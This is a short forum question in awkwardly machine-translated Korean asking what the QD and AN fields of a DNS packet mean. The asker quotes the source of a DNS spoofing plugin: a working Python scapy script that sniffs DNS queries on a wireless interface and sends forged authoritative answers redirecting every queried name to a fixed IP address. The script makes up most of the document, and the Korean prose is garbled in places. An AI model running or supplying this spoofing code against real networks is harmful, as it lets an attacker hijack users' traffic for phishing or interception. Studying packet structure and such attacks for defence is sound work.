0
나는 가지 다음과 같습니다 리소스 레코드 섹션의 구조를 알고 enter image description hereDNS 패킷에있는 여러 종류의 리소스 레코드 블록의 기능은 무엇입니까?
을하지만 DNS 스푸핑 플러그인의 소스 코드를 읽을 때 나는 완전히 잃었어요 : 무엇
from scapy.all import *
def dns_spoof(pkt):
redirect_to = '172.16.1.63'
if pkt.haslayer(DNSQR): # DNS question record
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=redirect_to))
send(spoofed_pkt)
print 'Sent:', spoofed_pkt.summary()
sniff(filter='udp port 53', iface='wlan0', store=0, prn=dns_spoof)
을 QD와 AN RR의 차이점과 왜이 패킷에서 QD를 사용해야합니까?